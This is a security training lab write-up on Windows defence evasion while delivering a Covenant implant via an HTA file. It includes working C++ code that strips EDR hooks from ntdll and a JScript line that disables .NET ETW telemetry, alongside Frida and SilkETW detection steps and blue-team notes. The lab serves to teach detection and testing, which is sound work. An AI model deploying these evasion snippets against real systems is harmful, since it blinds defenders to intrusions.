Attack Detection Fundamentals 2021: Windows - Lab #2

In the first part of F-Secure Consulting's Attack Detection Fundamentals workshop series for 2021, we covered advanced defense evasion and credential access techniques targeting Windows endpoints. This included the offensive and defensive use of API hooking, as well as the theft of cookies to enabled 'session hijacking'.

A recording of the first workshop can be found here and the slides are available here.

In the previous lab, we started developing an initial access payload that would ultimately execute a Covenant Grunt on the target host. Initially we saw how AMSI would detect and block our shellcode on launch, and we took steps to evade that using The Wover and Odzhan's Donut project. From there we packaged our shellcode into a Dynamic Link Library (DLL), before packaging that into an HTA file, more likely to be permitted through a web or mail filter (and more likely to run when a target user clicks on it!).

Along the way we saw plenty of detection opportunities including:

  • The initial AMSI block event from Windows Defender.
  • Our many opsec fails highlighted by FireEye's CAPA tool.
  • Our use of the ever-green CreateRemoteThread API call.
  • Web or mail filtering logs delivering our HTA file to the target endpoint.
  • The anomalous DLL load performed by Mshta.exe from the %APPDATA% directory.

In this lab, we'll continue to refine our payload, introducing other defense evasion techniques to unhook potentially EDR-monitored API functions, and patch ETW to ensure our subsequent activities aren't seen by security tools that rely on this telemetry source for their detections.

Let's get started.

Required Tools

DISCLAMER: Set up of the tools and the testing environment is not covered comprehensively within this lab. We will assume basic familiarity with Windows command line and the ability of the reader to build the necessary tools.

Walkthrough

API Hooking

Our existing payload could work against basic AV software, however, modern EDRs will have a lot of other automated detection mechanisms and sensors available to spot this type of malicious activity. One of those mechanisms we can target is "API Hooking". As discussed in the workshop, API hooking is a technique used to hijack the execution flow of a normal API call. It has been used for a variety of reasons, but has been popularised in AV/EDRs since it allows the detection engine to inspect which APIs are used by the inspected processes and take decisions based on some underlying logic, even outright preventing activity it deems to be malicious.

For example, the function we used to trigger our shellcode is CreateRemoteThread. This function, despite being used legitimately by software, is also heavily abused by malware. EDRs will perform API hooking in order to monitor its usage and the arguments passed to it. The logic with which a product decides whether an API call is malicious or not can depend on many factors, a few examples:

  • If the thread is called on an address that is not backed by an image on disk; this could be a sign that the memory was allocated with malicious intent.
  • If the memory protection of the memory pages where the new thread is started is Read Write and Execute (RWX), it could be a sign of malicious activity.

Of course, this is an over-simplification of the decision process that a security product can make, but open-source memory scanners, such as Pe-Sieve, Moneta, Volatility's malfind or Get-InjectedThreads contain enough information to clarify this process.

Since we won't use commercial products or real EDRs for this demo, we will perform API hooking using the popular open source framework Frida. With Frida it is possible to intercept API calls in a similar way to a commercial EDR.

Before executing Frida, it is necessary to place an 'alert()' in our HTA, this will give us time to attach Frida to the 'mshta' process and inspect the functions.

After placing the 'alert' function, we can execute our HTA.

We then need to find the PID of our HTA process, this can be done using Task Manager or any other means. The Frida command to execute will look like the following:

frida-trace.exe -p 7280 -i NtCreateThreadEx

Where '-p' will indicate the PID of mshta and '-i' will be the function we want to intercept. We chose 'NtCreateThreadEx' since it's the underlying function within 'ntdll' used by 'CreateRemoteThread' and usually EDRs tend to put their hook in 'ntdll' rather than a higher level library.

Clicking "OK" on the alert box within our HTA will allow the script to continue and we should see the following:

PS C:\Users\Developer\Desktop\workshop> frida-trace.exe -p 7280 -i NtCreateThreadEx
Instrumenting...
NtCreateThreadEx: Auto-generated handler at "C:\\Users\\Developer\\Desktop\\workshop\\__handlers__\\ntdll.dll\\NtCreateThreadEx.js"
Started tracing 1 function. Press Ctrl+C to stop.
/* TID 0x25f8 */
6281 ms NtCreateThreadEx()

This means that Frida was able to intercept and inspect our API call. We haven't implemented any subsequent detection logic here, but an EDR would probably have stopped this action from happening.

A technique quite popular amongst malware authors and red teamers is to remove the hooks from the intercepted functions. This would remove (at least partially) the ability of the EDR to receive telemetry about the API usage. Sometimes, removing API hooks is sufficient to circumvent preventive controls. One of the first publicly documented examples of this in the red teaming world comes from MDSec's Silencing Cylance blog post.

One way in which hooks can be removed from a library, is to replace its code with the one fetched directly from the on-disk DLL. This approach works since the EDRs will only change the in-memory view of the DLL and not the one on disk. Couple this with the fact that a process has full control over their memory space and we can remove the installed hooks.

Cylance itself published interesting research on the topic, where they demonstrate how the concept above can be implemented programmatically. The code below is taken from ired.team's 'Full DLL Unhooking in C++':

// Unhook ntdll.dll
HANDLE process = GetCurrentProcess();
MODULEINFO mi = {};
HMODULE ntdllModule = GetModuleHandleA("ntdll.dll");

GetModuleInformation(process, ntdllModule, &mi, sizeof(mi));
LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll;
HANDLE ntdllFile = CreateFileA("c:\\windows\\system32\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL);
LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0);

PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase;
PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew);

for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i));
if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) {
DWORD oldProtection = 0;
bool isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize);
isProtected = VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
}
}

CloseHandle(process);
CloseHandle(ntdllFile);
CloseHandle(ntdllMapping);
FreeLibrary(ntdllModule);

The code above will remove all the hooks from ntdll, this can be verified using Frida again. You will see that this time, no function will be intercepted. It's worth mentioning here that this code will get a handle to the on-disk ntdll; a DLL it's already loaded. Aside from a security product detecting the eventual unhooking itself, this repeated load could in itself be a detection opportunity.

ETW Bypassing

We mentioned how EDRs might use other telemetry sources other than standard API hooking, one of these is Event Tracing for Windows, or ETW. Whilst designed for monitoring and troubleshooting purposes, ETW is used by defenders to track abuse of .NET and many other different attacks, as described in F-Secure's 'Detecting Malicious Use of .NET'.

We will not discuss ETW internals, the fundamental concept is that application can subscribe to ETW providers and receive events. Events can be either generated by the Windows kernel or by an application itself. FireEye's 'SilkETW: Because Free Telemetry is … Free!' showed how the 'Microsoft-Windows-DotNETRuntime' provider can be used to detect .NET abuse.

Let's download SilkETW, FireEye's ETW collector tool, and run it with the following options:

.\SilkETW.exe -t user -pn Microsoft-Windows-DotNETRuntime -uk 0x2038 -ot file -p C:\windows\temp\etw.json

Launch the HTA attack again, and we should see a considerable amount of events generated. Try also executing some post-exploitation commands from the Grunt to generate even more telemetry. You will notice that the amount of events will grow quickly as you spawn a Covenant implant and execute some commands.

We will not dig deep into the types of events generated by the .NET ETW provider, but at a high level we can have telemetry for:

  • Assembly Load events.
  • P\Invoke invocation (Win32 APIs).
  • JIT compilation of methods.

All these events can give useful information to defenders. An example of these could be an Assembly Load event such as the one below:

{
"ProviderGuid": "e13c0d23-ccbc-4e12-931b-d9cc2eee27e4",
"YaraMatch": [],
"ProviderName": "Microsoft-Windows-DotNETRuntime",
"EventName": "Loader/AssemblyLoad",
"Opcode": 37,
"OpcodeName": "AssemblyLoad",
"TimeStamp": "2021-03-26T13:24:13.5921269-07:00",
"ThreadID": 4024,
"ProcessID": 7164,
"ProcessName": "notepad",
"PointerSize": 4,
"EventDataLength": 166,
"XmlEventData": {
"FormattedMessage": "AssemblyID=46,911,120;\r\nAppDomainID=46,825,120;\r\nAssemblyFlags=0;\r\nFullyQualifiedAssemblyName=0;\r\nClrInstanceID=rywvgj1k.0jo, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null ",
"ProviderName": "Microsoft-Windows-DotNETRuntime",
"ClrInstanceID": "25",
"AppDomainID": "46,825,120",
"BindingID": "0",
"MSec": "34563.0716",
"AssemblyID": "46,911,120",
"PID": "7164",
"TID": "4024",
"AssemblyFlags": "0",
"PName": "",
"FullyQualifiedAssemblyName": "rywvgj1k.0jo, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null",
"EventName": "Loader/AssemblyLoad"
}
}

BLUE TEAM ALERT: Whilst it looks legitimate, the field 'ClrInstanceID' is equal to 'rywvgj1k.0jo' , a very random and uncommon value. If you inspect similar events, you will notice that other processes than notepad.exe will generate more legitimate looking 'ClrInstanceId's.

Another example, the 'DCOMCommand' was executed locally, below we can see one of the events that was generated after that:

{
"ProviderGuid":"e13c0d23-ccbc-4e12-931b-d9cc2eee27e4",
"YaraMatch":[],
"ProviderName":"Microsoft-Windows-DotNETRuntime",
"EventName":"Method/LoadVerbose",
"Opcode":37,
"OpcodeName":"LoadVerbose",
"TimeStamp":"2021-03-26T13:24:48.468346-07:00",
"ThreadID":7424,
"ProcessID":7164,
"ProcessName":"notepad",
"PointerSize":4,
"EventDataLength":280,
"XmlEventData":{
"ModuleID":"1,790,447,616",
"PID":"7164",
"ClrInstanceID":"25",
"MethodSignature":"instance void ()",
"MethodID":"184,619,272",
"MethodFlags":"Generic|Jitted",
"MethodToken":"100,677,914",
"FormattedMessage":"MethodID=184,619,272;\r\nModuleID=1,790,447,616;\r\nMethodStartAddress=179,606,592;\r\nMethodSize=11;\r\nMethodToken=100,677,914;\r\nMethodFlags=Generic|Jitted;\r\nMethodNamespace=System.Collections.Generic.Dictionary'2[SharpSploit.LateralMovement.DCOM+DCOMMethod,System.Guid];\r\nMethodName=.ctor;\r\nMethodSignature=instance void ();\r\nClrInstanceID=25 ",
"MSec":"69439.2907",
"MethodNamespace":"System.Collections.Generic.Dictionary'2[SharpSploit.LateralMovement.DCOM+DCOMMethod,System.Guid]",
"MethodStartAddress":"179,606,592",
"TID":"7424",
"MethodSize":"11",
"ProviderName":"Microsoft-Windows-DotNETRuntime",
"PName":"",
"MethodName":".ctor",
"EventName":"Method/LoadVerbose"
}
}

We can see some familiar keywords such as 'SharpSploit'. SharpSploit is a C# library heavily used within Covenant and therefore it makes sense to see references to it.

From an attacker's perspective, this is not optimal, as we would like to minimise our footprint and detection opportunities. Interestingly, .NET related events are generated by the process itself, notepad in this case, and not the Kernel. What this means, similarly to API hooking, is that since we have full control over our own process we can simply manipulate it to stop generating those events. This was initially discovered by Adam Chester in his blog, 'Hiding your .NET - ETW'.

There are two commonly known ways in which we could hide our activity from .NET ETW:

  • We can patch the EtwEventWrite function within ntdll. Doing so, the process will not emit ETW events, but this requires patching the memory from within our DLL, depending on the situation this might not desirable (i.e. we might have already produced incriminating ETW events prior to us being able to disable it).
  • By modifying the environment variable 'COMPlus_EtwEnabled' and setting it to 0, as discovered again by Adam Chester in his 'Hiding your .NET - COMPlus_ETWEnabled' blog, will disable ETW in all the child processes created by the process that sets the variable.

Considering our scenario, it would make sense to set the aforementioned environment variable from within the HTA, since we will spawn a notepad process that will host our Grunt. To accomplish this, we can create a 'WScript.Shell' object and access its 'Environment' member:

var shell = new ActiveXObject('WScript.Shell');
shell.Environment('Process')('COMPLUS_ETWEnabled') = 0;

If we try to execute the same HTA after adding the code above, we will not see any event being generated.

Conclusions

Across this two part guide, we touched upon many concepts that could be used by defenders to assess their posture and stress their endpoint security solutions. It is by no means a comprehensive reference, nor the most advanced attack, but shows some of the defence evasion techniques that we commonly see in malware. The concepts covered included:

  • AMSI blocking, and bypassing with Donut.
  • Static Analysis with FireEye's CAPA.
  • Creation of a process injection DLL using the CreateRemoteThread API function (and it being detected with Sysmon!).
  • Embedding of our DLL into an HTA file which decodes and drops this to disk (MSHTA dropping DLLs to %APPDATA%?!).
  • Loading of our DLL using Registration Free COM.
  • API unhooking to bypass any userland hooks that might interfere with our execution.
  • ETW patching using environment variables to impair security products that rely on ETW for functionality.

There are many improvements that can be done to further harden our payload, but that is left as an exercise for the reader. Examples of things that could and should be implemented:

  • Encryption for strings.
  • Sandbox detection.
  • Execution guardrails for limiting the scope of our payload.

Join us for the next lab where we take the principle of API hooking and apply it in an offensive context; hooking functions as a user authenticates over RDP to retrieve their plaintext credentials!